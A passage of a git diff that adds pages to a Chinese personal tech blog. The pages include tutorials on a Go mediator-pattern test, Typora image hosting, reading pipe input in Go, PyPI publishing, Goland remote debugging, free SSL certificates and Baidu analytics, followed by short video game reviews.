+func (v *VideoCard) Display(data string) {
+    v.Data = data
+    fmt.Printf("VideoCard: display %s\n", v.Data)
+    GetMediatorInstance().changed(v)
+}
+
+type SoundCard struct {
+    Data string
+}
+
+func (s *SoundCard) Play(data string) {
+    s.Data = data
+    fmt.Printf("SoundCard: play %s\n", s.Data)
+    GetMediatorInstance().changed(s)
+}
+
+type Mediator struct {
+    CD    *CDDriver
+    CPU   *CPU
+    Video *VideoCard
+    Sound *SoundCard
+}
+
+var mediator *Mediator
+
+func GetMediatorInstance() *Mediator {
+    if mediator == nil {
+        mediator = &Mediator{}
+    }
+    return mediator
+}
+
+func (m *Mediator) changed(i interface{}) {
+    switch inst := i.(type) {
+    case *CDDriver:
+        m.CPU.Process(inst.Data)
+    case *CPU:
+        m.Sound.Play(inst.Sound)
+        m.Video.Display(inst.Video)
+    }
+}
+
func TestMediator(t *testing.T) {
+    mediator := GetMediatorInstance()
+    mediator.CD = &CDDriver{}
+    mediator.CPU = &CPU{}
+    mediator.Video = &VideoCard{}
+    mediator.Sound = &SoundCard{}
+
+    //Tiggle
+    mediator.CD.ReadData()
+
+    if mediator.CD.Data != "music,image" {
+        t.Fatalf("CD unexpect data %s", mediator.CD.Data)
+    }
+
+    if mediator.CPU.Sound != "music" {
+        t.Fatalf("CPU unexpect sound data %s", mediator.CPU.Sound)
+    }
+
+    if mediator.CPU.Video != "image" {
+        t.Fatalf("CPU unexpect video data %s", mediator.CPU.Video)
+    }
+
+    if mediator.Video.Data != "image" {
+        t.Fatalf("VidoeCard unexpect data %s", mediator.Video.Data)
+    }
+
+    if mediator.Sound.Data != "music" {
+        t.Fatalf("SoundCard unexpect data %s", mediator.Sound.Data)
+    }
+}
+
上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/pattern/index.html b/posts/code/pattern/index.html new file mode 100644 index 0000000..a7b974d --- /dev/null +++ b/posts/code/pattern/index.html @@ -0,0 +1,48 @@ + + + + + + + + Pattern | 寒江蓑笠翁 + + + + + + +

Pattern

寒江蓑笠翁小于 1 分钟

+ + + diff --git a/posts/code/pic.html b/posts/code/pic.html new file mode 100644 index 0000000..468bc85 --- /dev/null +++ b/posts/code/pic.html @@ -0,0 +1,48 @@ + + + + + + + + Typora配合图床搭建教程 | 寒江蓑笠翁 + + + + + + +

Typora配合图床搭建教程

寒江蓑笠翁大约 7 分钟技术日志图床Gitee对象存储

Typora配合图床搭建教程

Typora配合搭建完毕后的图床,可以有效的解决的md文件的图片引用问题。


Typroa是一款很流行的Markdown编辑器,但是苦图片引用问题久矣,本地编写好的md文件发送给别人后,就好经常出现图片丢失问题,这种情况下只有两个方法:

  • 把图片一起打包
  • 引用在线图片

一起打包显然会使得文件变得非常臃肿,在线图片也并不好找,同样的上述情况也适用于各个Markdown静态文档生成框架,举例VuePress,每个框架对于静态图片的引用都有着不同的规则,假设日后更换其他的框架图片引用问题将会非常的令人头疼。所以对于个人开发者而言,非常有必要搭建个人图床。


PicGo

一个用于快速上传图片并获取图片 URL 链接的工具,支持许多云服务商的对象存储,例如阿里云,腾讯云,七牛云等等,同时也支持Gitee,Github,软件技术基于Vue+Electron。

PicGo下载:Molunerfinn/PicGo: A simple & beautiful tool for pictures uploading built by vue-cli-electron-builder (github.com)open in new window

image-20230324201548045
image-20230324201548045

下载完成后,打开是下面这个样子。

image-20230324201612971
image-20230324201612971

这个是最简陋的版本,一个个手动上传肯定是很累的,这里打开Typora的设置(如果是其他Markdown编辑器应该也是同理)

image-20230324201808929
image-20230324201808929

但此时PicGo还未配置成功,点击验证图片上传肯定是会失败的,接下来有两个选择。

GItee

这里之所以使用Gitee而不使用Github,主要是Github国内的访问速度太感人了,想要达到正常速度必须自行搭建CDN,所以这里利用一下免费的GItee。不过Gitee前不久已经加了防盗链,如果是在网站上引用图床肯定是会失效的,但如果只是在本地Markdown文件引用依旧可以成功。

创建仓库

首先需要创建一个公开的仓库,不公开访问不了,名称建议英文,最好不要带特殊符号。

image-20230324202452126
image-20230324202452126

私人令牌

接下来要获取私人令牌

image-20230324202548316
image-20230324202548316

在个人设置中创建一个私人令牌。

image-20230324202639749
image-20230324202639749

描述随意,建议只放开这几个权限,生成后记住你的私人令牌。

下载插件

打开PciGo软件,点开插件设置,搜索Gitee,下载gitee-Uploader。

image-20230324202915702
image-20230324202915702

等待安装完毕后,在图床设置中填写gitee的配置项

image-20230324203304435
image-20230324203304435

完成后点击确认,并设置为默认图床,然后到上传区测试结果即可

image-20230324205101674
image-20230324205101674

腾讯云Cos

作者恰好前不久买了腾讯云对象存储的资源包,就刚好拿来当图床用,其他云服务商的配置过程都是类似的。首先在对象存储控制台中访问密钥

申请密钥

image-20230324203515364
image-20230324203515364

然后前往密钥界面

image-20230324203613705
image-20230324203613705

记住APPIDSecretIdSecretKey

创建桶

image-20230324204211170
image-20230324204211170

在创建存储桶时必须要保证桶的权限是公共读私有写,也就是可以匿名访问,记住BucketId和区域后就可以前往PicoGo中填写配置。

填写配置

image-20230324203822706
image-20230324203822706

填写完配置项后确认并设置为默认图床,然后在上传区测试即可。

image-20230324203857990
image-20230324203857990

最后

配置完成后的效果是Typora直接复制图片就会上传到个人图床,这样日后文件迁移也会方便的多,当然前提是得有一个稳定的图床。

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/pipeline.html b/posts/code/pipeline.html new file mode 100644 index 0000000..b2319b5 --- /dev/null +++ b/posts/code/pipeline.html @@ -0,0 +1,88 @@ + + + + + + + + Go读取Linux命令行管道参数 | 寒江蓑笠翁 + + + + + + +

Go读取Linux命令行管道参数

寒江蓑笠翁大约 3 分钟技术日志命令行go

Go读取Linux命令行管道参数


在用go编写命令行程序的时候,参数有三个来源

  1. 命令行参数
  2. 命令行标志
  3. 管道

Linux管道是一个很常见的用法,用于将上一个命令的结果作为下一个命令的参数

$ cat hello.txt | grep hello
+

但并不是所有命令行程序都支持管道参数,比如echo就不支持,这种情况我们一般会用xargs来转化下。

$ cat hello.txt | xargs echo
+

它会读取管道参数然后作为标准命令行参数传递给下一个命令,不过它有可能会破坏源文件的内容,所以我们还是自身支持管道更好一些。

在使用管道时,实际上是将结果写入了标准输入stdin中,对于我们而言,就只需要从标准输入中读取就行了。很容易就能想到该怎么写

args, _ := io.ReadAll(os.Stdin)
+

可如果只是直接从标准输入读取,如果在使用命令的时候没有使用管道,那么这行代码就会一直阻塞下去。所以我们得首先判断是否是管道模式,再去读取管道参数,所以应该这样写

package main
+
+import (
+	"fmt"
+	"io"
+	"os"
+)
+
+func main() {
+	stat, _ := os.Stdin.Stat()
+	if stat.Mode()&os.ModeNamedPipe == os.ModeNamedPipe {
+		bytes, _ := io.ReadAll(os.Stdin)
+		fmt.Println(string(bytes))
+		return
+	}
+	fmt.Println("do nothing")
+}
+

看看使用情况

$ cat main.go | ./main.exe
+package main
+
+import (
+        "fmt"
+        "io"
+        "os"
+)
+
+func main() {
+        stat, _ := os.Stdin.Stat()
+        if stat.Mode()&os.ModeNamedPipe == os.ModeNamedPipe {
+                bytes, _ := io.ReadAll(os.Stdin)
+                fmt.Println(string(bytes))
+                return
+        }
+        fmt.Println("do nothing")
+}
+

不使用管道

$ ./main.exe
+do nothing
+

这样一来,就可以区分使用管道和不使用管道的情况了,在不使用管道的情况下就可以从标准命令行参数里面去读取。

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/python/index.html b/posts/code/python/index.html new file mode 100644 index 0000000..0921724 --- /dev/null +++ b/posts/code/python/index.html @@ -0,0 +1,48 @@ + + + + + + + + Python | 寒江蓑笠翁 + + + + + + +

Python

寒江蓑笠翁小于 1 分钟

+ + + diff --git a/posts/code/python/pypi_upload.html b/posts/code/python/pypi_upload.html new file mode 100644 index 0000000..5b04dc4 --- /dev/null +++ b/posts/code/python/pypi_upload.html @@ -0,0 +1,211 @@ + + + + + + + + 在Pypi上发布自己的项目 | 寒江蓑笠翁 + + + + + + +

在Pypi上发布自己的项目

寒江蓑笠翁大约 8 分钟pythonpythonpypitwine

在Pypi上发布自己的项目


最近在用到一个python库的时候,发现了一个bug,看了看原仓库上次更新都是2022年了,估计我提了PR也不会被合并,于是我打算自己修复发布成一个新的包,此前没有了解过这些方面的知识,于是顺便写了这篇文章做一个记录。

官方教程:Packaging Python Projects - Python Packaging User Guideopen in new window

PyPI

官网:PyPI · The Python Package Indexopen in new window

第一步是在PyPI上注册一个自己的账号,然后申请一个API Token,这个Token就是专门用来上传软件包的。

你可以在username/Account settings/API tokens位置找到有关Token的内容,现在的话申请Token必须要2FA认证,可以用自己喜欢的2FA应用来完成认证,在成功创建后,Token只会显示一次,为了后续方便使用,建议将其保存到本地的文件中,保存位置为user/.pypirc文件中。

[pypi]
+  username = your_name
+  password = pypi-token
+

后续在用到的时候就会自动读取,不需要手动认证。

规范

对于一个规范的项目而言,应该有如下几样东西

  • LICENSE,开源证书
  • README,基本的文档
  • setup.py,打包用的清单文件

其它都还好,主要来讲讲这个setup.py,由于它稍微有点复杂,可以通过pyproject.toml配置文件来替代,不过其灵活性不如前者,比如下面是一个TOML的例子

[project]
+name = "example_package_YOUR_USERNAME_HERE"
+version = "0.0.1"
+authors = [
+  { name="Example Author", email="author@example.com" },
+]
+description = "A small example package"
+readme = "README.md"
+requires-python = ">=3.8"
+classifiers = [
+    "Programming Language :: Python :: 3",
+    "License :: OSI Approved :: MIT License",
+    "Operating System :: OS Independent",
+]
+
+[project.urls]
+Homepage = "https://github.com/pypa/sampleproject"
+Issues = "https://github.com/pypa/sampleproject/issues"
+

通过配置文件可以很直观的了解到这些信息,不过稍微旧一点的项目都是使用setup.py来管理的,下面看一个setup.py的例子,该例子由知名开源作者kennethreitz提供

#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+# Note: To use the 'upload' functionality of this file, you must:
+#   $ pipenv install twine --dev
+
+import io
+import os
+import sys
+from shutil import rmtree
+
+from setuptools import find_packages, setup, Command
+
+# Package meta-data.
+NAME = 'mypackage'
+DESCRIPTION = 'My short description for my project.'
+URL = 'https://github.com/me/myproject'
+EMAIL = 'me@example.com'
+AUTHOR = 'Awesome Soul'
+REQUIRES_PYTHON = '>=3.6.0'
+VERSION = '0.1.0'
+
+# What packages are required for this module to be executed?
+REQUIRED = [
+    # 'requests', 'maya', 'records',
+]
+
+# What packages are optional?
+EXTRAS = {
+    # 'fancy feature': ['django'],
+}
+
+# The rest you shouldn't have to touch too much :)
+# ------------------------------------------------
+# Except, perhaps the License and Trove Classifiers!
+# If you do change the License, remember to change the Trove Classifier for that!
+
+here = os.path.abspath(os.path.dirname(__file__))
+
+# Import the README and use it as the long-description.
+# Note: this will only work if 'README.md' is present in your MANIFEST.in file!
+try:
+    with io.open(os.path.join(here, 'README.md'), encoding='utf-8') as f:
+        long_description = '\n' + f.read()
+except FileNotFoundError:
+    long_description = DESCRIPTION
+
+# Load the package's __version__.py module as a dictionary.
+about = {}
+if not VERSION:
+    project_slug = NAME.lower().replace("-", "_").replace(" ", "_")
+    with open(os.path.join(here, project_slug, '__version__.py')) as f:
+        exec(f.read(), about)
+else:
+    about['__version__'] = VERSION
+
+
+class UploadCommand(Command):
+    """Support setup.py upload."""
+
+    description = 'Build and publish the package.'
+    user_options = []
+
+    @staticmethod
+    def status(s):
+        """Prints things in bold."""
+        print('\033[1m{0}\033[0m'.format(s))
+
+    def initialize_options(self):
+        pass
+
+    def finalize_options(self):
+        pass
+
+    def run(self):
+        try:
+            self.status('Removing previous builds…')
+            rmtree(os.path.join(here, 'dist'))
+        except OSError:
+            pass
+
+        self.status('Building Source and Wheel (universal) distribution…')
+        os.system('{0} setup.py sdist bdist_wheel --universal'.format(sys.executable))
+
+        self.status('Uploading the package to PyPI via Twine…')
+        os.system('twine upload dist/*')
+
+        self.status('Pushing git tags…')
+        os.system('git tag v{0}'.format(about['__version__']))
+        os.system('git push --tags')
+
+        sys.exit()
+
+
+# Where the magic happens:
+setup(
+    name=NAME,
+    version=about['__version__'],
+    description=DESCRIPTION,
+    long_description=long_description,
+    long_description_content_type='text/markdown',
+    author=AUTHOR,
+    author_email=EMAIL,
+    python_requires=REQUIRES_PYTHON,
+    url=URL,
+    packages=find_packages(exclude=["tests", "*.tests", "*.tests.*", "tests.*"]),
+    # If your package is a single module, use this instead of 'packages':
+    # py_modules=['mypackage'],
+
+    # entry_points={
+    #     'console_scripts': ['mycli=mymodule:cli'],
+    # },
+    install_requires=REQUIRED,
+    extras_require=EXTRAS,
+    include_package_data=True,
+    license='MIT',
+    classifiers=[
+        # Trove classifiers
+        # Full list: https://pypi.python.org/pypi?%3Aaction=list_classifiers
+        'License :: OSI Approved :: MIT License',
+        'Programming Language :: Python',
+        'Programming Language :: Python :: 3',
+        'Programming Language :: Python :: 3.6',
+        'Programming Language :: Python :: Implementation :: CPython',
+        'Programming Language :: Python :: Implementation :: PyPy'
+    ],
+    # $ setup.py publish support.
+    cmdclass={
+        'upload': UploadCommand,
+    },
+)
+

该文件中主要是通过setup函数来进行管理,除了这个函数之外其它都是锦上添花的东西,根据你的需求去填写关键字参数即可。

打包

首先安装打包工具

python3 -m pip install --upgrade build
+

然后在项目根目录下执行,会在dist目录下生成tar.gz压缩文件

python setup.py sdist build
+

然后安装上传工具twine

python3 -m pip install --upgrade twine
+

使用时只需要指定目录和项目名即可

python3 -m twine upload --repository testpypi dist/*
+
Uploading distributions to https://test.pypi.org/legacy/
+Enter your username: __token__
+Uploading example_package_YOUR_USERNAME_HERE-0.0.1-py3-none-any.whl
+100% ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 8.2/8.2 kB • 00:01 • ?
+Uploading example_package_YOUR_USERNAME_HERE-0.0.1.tar.gz
+100% ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 6.8/6.8 kB • 00:00 • ?
+

由于前面在.pypirc文件中配置了token,这里会自动读取,不需要输入。

测试

如果要测试的话,最好不要使用pip镜像,因为它们同步不及时,建议指定-i https://pypi.org/simple/官方源。

pip install -i https://pypi.org/simple/ your_package==version
+
上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/remotedev.html b/posts/code/remotedev.html new file mode 100644 index 0000000..ca2293f --- /dev/null +++ b/posts/code/remotedev.html @@ -0,0 +1,50 @@ + + + + + + + + Goland远程开发与远程调试 | 寒江蓑笠翁 + + + + + + +

Goland远程开发与远程调试

寒江蓑笠翁大约 5 分钟技术日志golanddlv远程开发

Goland远程开发与远程调试

本文讲解了如何使用Goland的远程开发和远程调试功能


最近的一个项目是要部署在Linux上运行,但我习惯了在Windows上进行开发,许多开发工具都是在Windows上,所以远程开发和远程调试非常有必要,代码依旧在本地写,只是编译和部署放在Linux上。先说一下我的环境:

本地环境:Windows10,go1.20.2 dlv1.20.2

远程环境:ubuntu20LTS(虚拟机),go1.20.4,dlv1.20.2

提示

虽然本文Linux用的是虚拟机,但是放在云服务器上一样使用。

Go Build 配置

首先在Goland运行配置里新建一个Go Build配置,然后选择Run On SSH

输入Host和要登录的用户名

登录成功后Goland会尝试执行which go命令,也许会失败,不过这并不影响,后面自己指定就行。再然后才是远程开发的重要配置

  • Project path on target:该目录是后续操作的项目根目录,后续Goland自动上传的文件都会位于该目录下
  • Go Executable:go二进制文件,该二进制文件并不是自己项目的二进制文件,而是go源代码的二进制文件,通常位于$GOROOT/bin/目录下
  • GOPATH:不需要多做解释
  • Project sources directory:Goland在编译时会先将源码上传到远程服务器上,该目录就是源码的指定位置,如果不填的话就会在项目根目录下随机生成目录,看起来很烦。
  • Compiled exectuables directory:编译完成后二进制文件存放的文件夹。

完成后如下

image-20230515172036551
image-20230515172036551

然后再Go Build中记得勾选 Build on remote target,这样上面的配置才会生效

Go Remote配置

在运行配置中新建Go Remote

然后填写你的调试服务器IP和端口

调试服务器就是dlv,如果在远程服务器中已经安装好了go环境,直接执行以下命令即可安装dlv

go install github.com/go-delve/delve/cmd/dlv@latest
+

使用dlv命令运行调试服务器

dlv --listen=:2345 --headless=true --api-version=2 --accept-multiclient exec ./dst_linux
+

每一个参数是什么作用可以在github上了解,exec参数后跟二进制文件的路径

开发流程

上述所有配置完毕后,开发流程就是:

  1. 本地编写代码
  2. Goland更新远程服务器的源代码并编译
  3. 运行dlv调试服务器
  4. 本地运行Go Remote进行调试

这样一来远程开发和远程调试的问题就都解决了,非常nice,远程调试起来也跟本地调试几乎没什么区别。

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/rust/index.html b/posts/code/rust/index.html new file mode 100644 index 0000000..0841968 --- /dev/null +++ b/posts/code/rust/index.html @@ -0,0 +1,48 @@ + + + + + + + + Rust | 寒江蓑笠翁 + + + + + + +

Rust

寒江蓑笠翁小于 1 分钟

+ + + diff --git a/posts/code/rust/install.html b/posts/code/rust/install.html new file mode 100644 index 0000000..7857013 --- /dev/null +++ b/posts/code/rust/install.html @@ -0,0 +1,53 @@ + + + + + + + + Rust安装与入门 | 寒江蓑笠翁 + + + + + + +

Rust安装与入门

寒江蓑笠翁大约 3 分钟rust

Rust安装与入门


在这之前早已听说过rust的大名,虽然我在知乎上看到的rust貌似都是负面的评价?但这不影响我去了解这门比较热门的新语言,貌似2015年才正式发布。以前就听说过rust的学习难度非常陡峭,现在就来会一会。

文档:安装 Rust - Rust 程序设计语言 (rust-lang.org)open in new window

准备环境

学习语言的第一步就是就是安装它,这一块rust做的确实挺好的,有一个专门的安装和版本管理工具rustup,所以我们只需要下载rustup就行了。

在此之前还需要下载MSVC也就是Microsoft C++ 生成工具open in new window,没有它的话就没法编译。然后再下载rustup-init.exe,点击执行后是一个命令行,全选默认选项即可,然后它就会帮你安装好rust和cargo,并且配置环境变量。重启一下命令行,执行

PS C:\Users\Stranger> rustc -V
+rustc 1.74.0 (79e9716c9 2023-11-13)
+PS C:\Users\Stranger> cargo -V
+cargo 1.74.0 (ecb9851af 2023-10-18)
+PS C:\Users\Stranger>
+

能够正确输出版本就说明安装成功了。

编辑器

这个就看个人喜好了,用什么其实都能写,推荐使用Vscode,JB家新出了一个RustOver,但是还不稳定。使用vscode的话要下载rust拓展,建议下载rust-analyzer,这是社区的rust插件,官方的已经不维护了。

cargo

cargo是rust的包管理工具,相当于gomod,npm这类工具,但是要完善的许多。

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/ssl_cert_collect.html b/posts/code/ssl_cert_collect.html new file mode 100644 index 0000000..bf668f6 --- /dev/null +++ b/posts/code/ssl_cert_collect.html @@ -0,0 +1,48 @@ + + + + + + + + 免费SSL证书申请 | 寒江蓑笠翁 + + + + + + +

免费SSL证书申请

寒江蓑笠翁大约 5 分钟技术日志

免费SSL证书申请


如果想要让你的网站在公网中正常访问,SSL绝对是不可或缺的部分,没有SSL的话浏览器甚至会直接警告不要访问,搜索引擎的权重也会降低。对于个人开发者而言,如果只是部署一些文档或测试网站,购买昂贵的SSL证书并不是一个好的选择,所以这里收集了一系列SSL证书免费申请的网站,以供白嫖参考,下面是内容都是从免费证书的角度出发的,不具备商业参考性。

1.Let's Encrypt

这是一家很老牌的免费SSL证书颁发机构,他们的宗旨就是促进互联网向HTTPS发展。

官网:Let's Encrypt - 免费的SSL/TLS证书 (letsencrypt.org)open in new window

优点:完全免费,公益的组织,申请数量没有限制

缺点:证书只有3个月有效期(可通过脚本自动化续签),使用门槛较高,教程中英混杂,不适合普通小白用户。

适用人群:对于开源组织,个人开发者有一定技术力的人群来说来说,Let's Encrypt绝对是首选。

2.腾讯云

腾讯云是国内的一家云服务大厂,提供很多各种各样的云服务,其中包括SSL证书。

官网:概览 - SSL 证书 - 腾讯云 (tencent.com)open in new window

优点:免费证书有效期12个月(24年4月25日后降至3个月),文档丰富,可视化界面管理,无域名额度限制,可绑定任意域名,集成站内应用比较方便。

缺点:对于免费证书而言,个人用户限制50个(企业用户10个),且不支持自动续签

适用人群:国内用户,小白

3.阿里云

阿里云同样提供免费的SSL证书,相比腾讯云就一般般了

缺点:个人用户免费证书只有20个,不支持根证书下载,证书有效期3个月,国内其它的云厂商大都类似

4.OHTTPS

OHTTPS 致力于为用户提供 零门槛、简单、高效 的HTTPS证书服务,它基于Let‘s Eencrypt,我的评价是神中神。

优点:可视化界面,自动化管理,并且是完全支持免费证书(单域名,多域名,泛域名),对于个人开发者来说算没有缺点了,唯一能算的就是证书有效期只有3个月,但是它支持自动更新,所以也就不是问题,并且还支持对接国内的云服务商。

缺点:唯一的缺点就是需要付费,不过新用户自动赠送的余额可以用好几年了

适用人群:所有人,只要想使用免费证书,OHTTPS就完全适合你。

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/statistic.html b/posts/code/statistic.html new file mode 100644 index 0000000..ba4d0d1 --- /dev/null +++ b/posts/code/statistic.html @@ -0,0 +1,62 @@ + + + + + + + + VuePress使用百度统计分析网站流量 | 寒江蓑笠翁 + + + + + + +

VuePress使用百度统计分析网站流量

寒江蓑笠翁大约 4 分钟技术日志VuePress流量统计

VuePress使用百度统计分析网站流量

VuePress结合百度统计,分析网站的访问情况


关于网站统计和分析,常用的有如下这些服务商,统计系统主要只是统计数据,分析系统在统计的同时还可以进一步分析数据,对于我而言仅仅只是需要统计一下网站的访问量即可,所以选择统计系统。

本文主要讲的是百度统计,国内使用起来方便一些,虽然百度统计有些功能下线了,可能是因为业务不行吧,但是对我这种轻度用户来说足够使用了,谷歌分析会涉及到一些翻墙的事情。

注册

百度统计:百度统计——一站式智能数据分析与应用平台 open in new window,首先前往百度统计页面,登录账号,完成后进入产品即可,个人开发者使用免费版即可。

新增网站

来到使用设置/网站列表页面,点击新增网站

按照你自己的网站信息去填写表单

获取代码

添加成功后,来到代码管理,复制生成的JS代码

如果只是一般的HTML页面,可以选择直接将复制后的代码放入index.html中的<head>标签内,但我是用的VuePress,不可能每次编译完后手动加到生成的index.html中,所以找到项目中的配置文件.vuepress/config.ts,像如下编写即可。

export default defineUserConfig({
+    head: [
+        [
+            "script", {},
+            `var _hmt = _hmt || [];
+(function() {
+  var hm = document.createElement("script");
+  hm.src = "you baidu src";
+  var s = document.getElementsByTagName("script")[0]; 
+  s.parentNode.insertBefore(hm, s);
+})();`
+        ]
+    ],
+});
+

提示

VuePress复制代码时不需要<script>标签

安装检查

上述操作弄完后,将网站重新部署,然后在使用设置页面的网站列表点击安装检查

一般在部署完十几分钟后可以正常使用,如果代码安装检查失败可以检查一下是不是在外网或者域名填写错误。

统计查看

在网站概况中可以很清晰的看到网站的浏览量趋势统计和图表

也可以看到访问者的地域分布统计

对于我的小站来说,上述功能已经足够使用了,更多功能的话还请自己去慢慢发现。

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/vuepresshope.html b/posts/code/vuepresshope.html index c24cdf8..2e43bcb 100644 --- a/posts/code/vuepresshope.html +++ b/posts/code/vuepresshope.html @@ -5,7 +5,7 @@ - VuePress博客教程 | 紫狐 +VuePress博客教程 | 寒江蓑笠翁 + + + + + +

血源诅咒

寒江蓑笠翁小于 1 分钟游戏杂谈克苏鲁风格魂系列神作

血源诅咒

心中永远的神作游戏,没有之一


上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/game/darksoul1.html b/posts/game/darksoul1.html new file mode 100644 index 0000000..6bc57bd --- /dev/null +++ b/posts/game/darksoul1.html @@ -0,0 +1,48 @@ + + + + + + + + 黑暗之魂I:重制版 | 寒江蓑笠翁 + + + + + + +

黑暗之魂I:重制版

寒江蓑笠翁小于 1 分钟游戏杂谈魂系列受苦

黑暗之魂I:重制版

开山之作,地图设计极其优秀,三部曲中氛围最好,也是最喜欢的。


上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/game/darksoul2.html b/posts/game/darksoul2.html new file mode 100644 index 0000000..2620f95 --- /dev/null +++ b/posts/game/darksoul2.html @@ -0,0 +1,48 @@ + + + + + + + + 黑暗之魂II:原罪学者 | 寒江蓑笠翁 + + + + + + +

黑暗之魂II:原罪学者

寒江蓑笠翁小于 1 分钟游戏杂谈魂系列受苦

黑暗之魂II:原罪学者

自身足够优秀,但是相比于它的前辈和后辈就有点黯然失色了。


上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/game/darksoul3.html b/posts/game/darksoul3.html new file mode 100644 index 0000000..f5fdbfe --- /dev/null +++ b/posts/game/darksoul3.html @@ -0,0 +1,48 @@ + + + + + + + + 黑暗之魂III:火之将熄 | 寒江蓑笠翁 + + + + + + +

黑暗之魂III:火之将熄

寒江蓑笠翁小于 1 分钟游戏杂谈魂系列受苦

黑暗之魂III:火之将熄

延续了一贯的风格,魂系列的佳作。


上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/game/divinity.html b/posts/game/divinity.html new file mode 100644 index 0000000..67e6167 --- /dev/null +++ b/posts/game/divinity.html @@ -0,0 +1,48 @@ + + + + + + + + 神界原罪2 | 寒江蓑笠翁 + + + + + + +

神界原罪2

寒江蓑笠翁大约 12 分钟游戏杂谈CRPG魔幻开放世界

神界原罪2

一款十分精彩的RPG,不论是战斗还是剧情都很出色。


其实这款游戏我很早就听说它的大名了,但是直到最近才开始打算正式的去体验一下,最后历时71个小时通关了该作。在当今快节奏的时代,各种游戏都在越来越趋于快餐化,力求让玩家能够以更少的操作得到更好的体验,神界原罪2显然并不属于此类,作为一款比较传统的RPG游戏,如果不静下心来体验,那么将会错过非常多的细节和剧情,同样的也会丧失很多乐趣。

背景设定

二代故事舞台只是绿维珑一个很小的部分
二代故事舞台只是绿维珑一个很小的部分

故事发生在一个名为绿维珑的大陆上,大陆上的七个神根据自己的模样创造了主要的种族,分别是人类,精灵,矮人,侏儒,蜥蜴人,兽人这六个主要种族。人族数量最多,遍布世界各地,精灵生活在森林里,寿命十分长寿,矮人强壮有力,科技也很发达,蜥蜴人的古代帝国历史十分悠久,同样也是一个非常强大的势力,侏儒在这个世界观里面属于是科技最发达的一个种族,甚至造出了”计算机“,兽人的存在感最弱。世界上有一种物质叫秘源,体内拥有这种物质的人被称为秘源术士,有的是强大的魔法师,或是骁勇善战的战士,抑或是百步穿杨的弓箭手。秘源的使用会导致世界帷幕的破碎,从而引来了另一个世界的生物--虚空异兽,为了抵抗虚空,七神献出了各自一半的力量交给最强的秘源术士--神谕者,让他来领导世界抵抗虚空世界,然而上述只是七神的洗脑版本。真实情况是,在很久以前,一位永生族的学者研究发现了世界帷幕的存在,从帷幕上可以获得秘源的力量,而帷幕的另一边就是虚空,他向神王报告了此事,但是神王觉得虚空太过危险,于是下令停止研究。但是神王下属的七个领主却找到了这名学者,获取了帷幕的力量,将神王和永生族人全部打入了虚空,永生族人全都变成了虚空异兽,七领主将自己包装成了神的模样并创造了自己的种族,并让他们的种族信仰自己,这就是神的原罪。而在几千年后,一个名为温迪戈的秘源术士引发了一场灾难,事后被神谕教团押往欢乐堡,在前往欢乐堡的复仇女神号船上,主角们的故事就正式开始了。

主角团

主角团六人分别是沉睡了千年的永生族亡灵费恩,因曾经被奴役而踏上复仇之路的精灵希贝儿,体内寄宿着恶魔而走上驱魔之路的歌手洛思,曾经参加黑环战争导致精灵种族大灭绝而心灰意冷的孤狼雇佣兵伊凡,被恶魔蛊惑导致驱逐出王室蜥蜴人猩红王子,反抗矮人女王暴政失败而流落当海盗的矮人贵族比斯特,游戏剧情本身是一部群像剧,六个开始毫无关联的秘源术士,在冒险的过程中会产生各种羁绊,他们的过往经历和剧情相互交错,最终都会汇聚到一起,踏上了同一个征途 -- 成为神谕者。

任务系统

该作的任务引导很弱,并不像育碧那种直接在地图上标明了该去哪里,要做什么步骤,为了能让玩家更有代入感,游戏选择了以一种日记的方式来记录每一个任务推进的过程,玩家每发现一条线索或者是触发了什么事件都会被记录在日记上。虽然游戏本身是开放世界地图,但是每一个任务并不会告诉你该去哪里该怎么做,所有任务的细节和流程全部都隐藏在大量的NPC文本对话中。这样做的好处是,可以让玩家更见能够带入主角的视角来体验剧情,同样的缺点也很明显,由于游戏本身非常自由,任务的弱引导经常过导致玩家到处闲逛不小心触发了一个剧情线,而提前开启该线可能会导致原本的支线流程失败或者没有达到想要的结果等等后果,我本身在玩的时候就经常会出现这种情况,不过在第一章过后熟悉了游戏本身的机制后就会习惯性非常留意每一个NPC所说的细节,也就不再会存在满地图乱跑的情况了。

任务系统
任务系统

战斗系统

游戏的战斗部分是回合制+策略战棋,角色开场拥有有限的行动点数,不论是移动,还是攻击还是释放技能,都会消耗行动点数,一些特殊技能还会消耗秘源点数。

战斗部分
战斗部分

游戏中有很多不同的职业,每一个职业在属性天赋能力上都有着不同的权重,总体来说常见的流派分为法师,弓手,战士,刺客,辅助,召唤师这几个,除此之外还有一些邪门的流派比如陷阱流等等。游戏本身十分的自由,在中期后便可以无限的洗点,所以玩家可以随时随地的决定自己的职业。

人物界面
人物界面

在游戏的前期,资源匮乏,可以学习的技能比较少,以平A为主的物理系职业比较吃香,到了中期地图浮木镇以后,法师的输出就开始成熟了,而到后期法师的伤害几乎是完爆物理职业。游戏中法师最强的一个技能,大地学派的大地之怒十分变态,即便是在最终战中,辅助将所有的怪聚集在一起后,只需要一个大地之怒便可以秒杀所有敌人结束战斗,足以可见其伤害有多么恐怖。

结语

尽管游戏本身很优秀,但是后两章地图由于资金问题肉眼可见的质量明显下降,总体来说游戏体验最佳的部分就是第一章欢乐堡和第二章浮木镇,后期的战斗也变得相对比较无聊,但这些并不影响神界原罪2成为一款十分优秀的CRPG作品,甚至是该界的天花板。

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/game/eastward.html b/posts/game/eastward.html new file mode 100644 index 0000000..370b023 --- /dev/null +++ b/posts/game/eastward.html @@ -0,0 +1,48 @@ + + + + + + + + 风来之国 | 寒江蓑笠翁 + + + + + + +

风来之国

寒江蓑笠翁小于 1 分钟游戏杂谈风来之国像素风格画风优美

风来之国

